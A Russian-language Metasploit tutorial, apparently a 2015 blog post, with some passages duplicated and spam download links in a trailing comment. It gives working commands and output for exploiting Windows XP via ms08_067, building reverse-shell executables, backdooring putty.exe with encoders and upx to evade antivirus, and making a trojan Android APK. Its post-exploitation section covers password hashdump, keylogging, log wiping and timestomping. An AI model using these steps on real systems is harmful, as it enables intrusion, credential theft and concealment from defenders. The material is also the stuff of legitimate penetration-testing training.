Metasploit Framework
В настоящее время (сентябрь 2015) свободно доступна версия Metasplot Framework Community. Часть функционала которой (например обновления) доступны только после регистрации, ключ высылаеться на email спустя пару (или больше) дней.
msfconsole
Кроме msfconsole фреймворк Metasploit обладает двумя рабочими окружениями: msfcli и msfweb - консоль и веб интерфейс соответственно. Здесь буде рассмотрен только перый.
Сбор информации
MSF позволяет импортировать отчёты сгенерированые программами nmap, nessus, Accunetics и др. в свою БД.Отчёты nmap должны быть в формате XML (ключ -oX):
nmap 192.168.56.1/24 -oX scan_resultИмпорт в MSF:
db_import ~/scan_result
Вместо
импорта результатов, можно воспользоватся плагином nmap - db_nmap прямо
из окружения msfconsole:
db_nmap -nF 192.168.56.0/24Результаты сканирования сразу попадут в БД, в таблицы hosts и services.
msf > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.56.1 Unknown device
192.168.56.10 Unknown device
msf > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.56.1 22 tcp ssh open
192.168.56.1 139 tcp netbios-ssn open
192.168.56.1 445 tcp microsoft-ds open
192.168.56.1 8200 tcp trivnet1 open
192.168.56.10 135 tcp msrpc open
192.168.56.10 139 tcp netbios-ssn open
192.168.56.10 1031 tcp iad2 open
192.168.56.10 5800 tcp vnc-http open
192.168.56.10 5900 tcp vnc open
Экспортировать таблицы в cvs формате можно используя ключ -o
msf > services -o msf-services
[*] Wrote services to /home/username/msf-services
Проникновение
help, command -h
show exploits
search <что-ищем>
search -h для большей информацииsearch platform:windows type:exploit port:445
info <эксплойт>
use <эксплойт> - загрузить окружение эксплойта (подготовить к использованию эксплойт)
backuse exploit/windows/dcerpc/ms03_026_dcomuse exploit/windows/smb/ms08_067_netapi
show options - показать набор опций (переменных окружения) эксплойта payload`а
set <переменная окружения> <значение> установить значение переменной окружения
переменные окружения:
LHOST, RHOST, LPORT, RPORT - локальный\удалённый хост, порт
PAYLOAD - нагрузка эксплойта
show payloads - показать список нагрузок (payloads). если загружено окружение эксплойта, то будут показаны только подходящие для него.set PAYLOAD windows/meterpreter/reverse_tcp
check - проверка: удалённый хост достуен для выполнения на ней эксплойта? Эта опция имеется не для всех эксплойтов.
exploit - запустить эксплойт.
Пример
IP локального хоста - LHOST - 192.168.56.101;
IP удалённого хоста - RHOST - 192.168.56.103.
На удалённом компьютере запущена Windows XP SP2.
search platform:windows type:exploit app:server
use exploit/windows/dcerpc/ms03_026_dcom
use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set RHOST 192.168.56.103
check
exploit
[*] Started reverse handler on 192.168.56.1:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:Russian
[*] Selected Target: Windows XP SP2 Russian (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (769536 bytes) to 192.168.56.10
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.10:1043) at 2013-07-31 16:09:52 +0300
sessions - просмотреть открытые соединения MSF; ключ -i n - переключиться на сессию номер n.
Номер созданной сессии, в случае успешной атаки и установки соединения, отображается в выводе команды exploit (см. выше).
Client side attacks
upd. Версии MSF выпущенные после июня 2015 года содержат программу msfvenom заменяющую msfpayload и msfencode
Создание исполняемого файла из payload (англ.). В этом примере, для проникновения используется подброшенный на компьютер атакуемого исполняемый файл. Будучи запущенным на удалённом хосте, он создаст соединение с хостом атакующего (LHOST=192.168.56.1).
Ключ X, указанный после порта, говорит о том, что вывод будет осуществлён в exe файл.
Backdooring EXE Files. То же самое, однако бекдор дописывается в существующий исполняемый файл (здесь putty.exe). В этом примере, вместо exe файла msfpayload осуществляет вывод в raw формате (ключ R), ибо сгенерированная программа будет далее подано на вход msfencode, который (-e <используемый кодировщик> -c <число проходов кодировщика>). Исходная программа, однако, будет служить лишь контейнером. Используя ключ -k можно сохранить работоспособность исходной программы (с некоторой долей вероятности), но и поток в котором будет запущен бэкдор завершится, если пользователь закроет эту программу.
Чтобы использовать msfencoder в конвейере подряд несколько раз необходимо изменить формат вывода программы на -t raw, везде кроме последнего вызова в конвейере.
upx - программа для упаковки исполняемых файлов. Иногда, упаковав исполняемый файл этой программой, удаётся избежать срабатывания антивируса при его проверке.
Троянский apk для андроид (опция R).
Ключ X, указанный после порта, говорит о том, что вывод будет осуществлён в exe файл.
msfpayload windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=31337 X > /tmp/1.exe
Backdooring EXE Files. То же самое, однако бекдор дописывается в существующий исполняемый файл (здесь putty.exe). В этом примере, вместо exe файла msfpayload осуществляет вывод в raw формате (ключ R), ибо сгенерированная программа будет далее подано на вход msfencode, который (-e <используемый кодировщик> -c <число проходов кодировщика>). Исходная программа, однако, будет служить лишь контейнером. Используя ключ -k можно сохранить работоспособность исходной программы (с некоторой долей вероятности), но и поток в котором будет запущен бэкдор завершится, если пользователь закроет эту программу.
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe -x /var/www/putty.exe -o /var/www/puttyx.exeЕсли использовать ключ энкодера -k то, бекдор запустится в отдельном потоке программы
Чтобы использовать msfencoder в конвейере подряд несколько раз необходимо изменить формат вывода программы на -t raw, везде кроме последнего вызова в конвейере.
upx - программа для упаковки исполняемых файлов. Иногда, упаковав исполняемый файл этой программой, удаётся избежать срабатывания антивируса при его проверке.
Троянский apk для андроид (опция R).
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.110 LPORT=4444 R > andro.apkПри внедрении apk нужно не только заставить пользователя установить приложение, но и часто убедить в безопасности этих действий. Ведь по умолчанию, андроид не разрешает установку приложений не из play market. Поэтому при устоновке приходится в настройках телефона активировать соответствующую опцию. Последняя, кстати говоря, по умолчанию включается ровно на одну установку.
Приготовления на стороне атакующего. Теперь остаёться запустить msfconsole и приготовится к подключению нашего приложения:
use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LPORT 9999
set LHOST 192.168.56.1
Как только код в подброшеном файле выполнится, произойдёт подключение и будет запущена сессия meterpreter.
Post exploitation
meterpreter
Базовая информация о системе
sysinfo
Computer : QWERTY-PCgetuid - идентификатор пользователя.
OS : Windows XP (Build 2600, Service Pack 2).
Architecture : x86
System Language : ru_RU
Meterpreter : x86/win32
getpid - идентификатор процесса, в пространстве которого запушен сервер.
run get_env
[*] Getting all System and User Variablesps - список процессов.
Enviroment Variable list
========================
Name Value
---- -----
APPDATA C:\Documents and Settings\qwerty\Application Data
ComSpec C:\WINDOWS\system32\cmd.exe
FP_NO_HOST_CHECK NO
HOMEDRIVE C:
HOMEPATH \Documents and Settings\qwerty
LOGONSERVER \\QWERTY-PC
NUMBER_OF_PROCESSORS 1
OS Windows_NT
PATHEXT .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE x86
PROCESSOR_IDENTIFIER x86 Family 6 Model 37 Stepping 5, GenuineIntel
PROCESSOR_LEVEL 6
PROCESSOR_REVISION 2505
Path C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
SESSIONNAME Console
TEMP C:\DOCUME~1\qwerty\LOCALS~1\Temp
TMP C:\DOCUME~1\qwerty\LOCALS~1\Temp
windir C:\WINDOWS
ipconfig - информация о сетевых адапетрах.
route - таблица маршрутизации.
run get_application_list - список установленных приложений.
Installed Applications***
======================
Name Version
---- -------
7-Zip 9.20
Microsoft .NET Framework 2.0
Microsoft .NET Framework 2.0 2.0.50727
Oracle VM VirtualBox Guest Additions 4.1.2 4.1.2.0
background - вернутся в окружение MSF, при этом соединение с удалённым хостом не будет разорвано, обратно - session -i n.
hashdump - создает вычленяет из реестра (SAM и SYSTEM фалйы) хэши паролей пользователей системы;
clearev - затирает все следы вашего пребывания на удаленной машине
keyscan_start, keyscan_stop, keyscan_dump начать\остановить\просмотреть-лог кейлогер в реальном времени.
Обычно для вышеприведённых команд требуется, сменить процесс (например на explorer.exe) в котором запущен поток meterpeter.
migrate PID - перенести сервер (materpreter) в процесс с указным PID
Изменить время создания и изменения файла и посмотреть что получилось:
timestomp some-file.txt -z "12/25/2025 23:59:00"
meterpreter > timestomp boot.ini -v
Modified : 2025-12-25 23:59:00 +0300
Accessed : 2025-12-25 23:59:00 +0300
Created : 2025-12-25 23:59:00 +0300
Entry Modified: 2025-12-25 23:59:00 +0300
Запустить на исполнение mdd_1.3.exe с параметрами -o mem.dd:
execute -f mdd_1.3.exe -a "-o mem.dd"Запусть консоль windows (H - скрыть процесс, c - создать отдельный канал для взаимодействия):
meterpreter > execute -f cmd.exe -H -c
download <что> <куда> - скачать файл с удалённого хоста
upload
upload AveSatanas.txt c:\\
SecurityTube Metasploit Framework Expert Community Edition [2012]
Offensive security: Metasploit Unleashed
METASPLOIT The Penetration Tester’s Guide by David Kennedy, Jim O’Gorman, Devon Kearns, and Mati Aharoni, 2011
---
Практический пример работы с Metasploit Framework [2011]
Exploit Windows XP SP3 Using Metasploit (msfconsole) [2012]
Create EXE Backdoor Using Metasploit and Backtrack 5 in 4 simple steps [2011]
Другие фреймворки для пентеста
Social-Engineer Toolkit
BeEF - Browser Exploitation Framework
upload
upload AveSatanas.txt c:\\
reg - взаимодействие с реестром.
scraper, winemun - эти скрипты (запускаются командой run) собирают и копируют на машину атакующего информацию о системе в т.ч. реестр (reg файлы), список пользователей, приложений, сервисов, хэши паролей пользователей.
Файлы, содержащие результаты работы этих скриптов, сохраняются по адресу ~/.msf4/logs/scripts/имя_скрипта/.
Файлы созданные winenum
scraper, winemun - эти скрипты (запускаются командой run) собирают и копируют на машину атакующего информацию о системе в т.ч. реестр (reg файлы), список пользователей, приложений, сервисов, хэши паролей пользователей.
Файлы, содержащие результаты работы этих скриптов, сохраняются по адресу ~/.msf4/logs/scripts/имя_скрипта/.
Файлы созданные winenum
P.S.
если в качестве оболочки используется не meterpreter, а командная строка windows и есть проблемы с кодировкой, можно сменить кодировку на юникод таким образом
или запустить cmd.exe с параметромchcp 65001
cmd /K chcp 65001
Упорядочивая работу
Для разделения отдельных исследований, отдельных сетей и т.д. удобно пользоваться т.н. workspaces. Каждому рабочему пространству соответсвуют свои таблицы hosts, services, creds, loot.
Просмотреть доступные workspaces:
msf > workspace
labvbox-net* default
Используемое "рабочее пространство" отмечано занком *.
Сменить, добавить, удалить и переименовать workspace соответственно:
Сменить, добавить, удалить и переименовать workspace соответственно:
workspace lab
workspace -a lab2
workspace -d lab
workspace -r lab.old lab.new
Алсо
- Railgun - расширение meterpreter, позволяющее вызывать функции из DLL.
- C помощью Meterpreter можно сделать проброс портов.
- Также можно использовать машину с запущенным на ней meterpreter'ом для дальнейшего проникновения в сеть (используя локально запущенный msf) уже с сетевого интерфейса это машины - pivoting.
- Resource Scripts - скрипты, содержащие команды meterpreter или msfconsole.
Cсылки
Metasploit Penetration Testing Cookbook - переводSecurityTube Metasploit Framework Expert Community Edition [2012]
Offensive security: Metasploit Unleashed
METASPLOIT The Penetration Tester’s Guide by David Kennedy, Jim O’Gorman, Devon Kearns, and Mati Aharoni, 2011
---
Практический пример работы с Metasploit Framework [2011]
Exploit Windows XP SP3 Using Metasploit (msfconsole) [2012]
Create EXE Backdoor Using Metasploit and Backtrack 5 in 4 simple steps [2011]
Другие фреймворки для пентеста
Social-Engineer Toolkit
BeEF - Browser Exploitation Framework
. >>>>> Download Now
ОтветитьУдалить>>>>> Download Full
. >>>>> Download LINK
>>>>> Download Now
. >>>>> Download Full
>>>>> Download LINK OE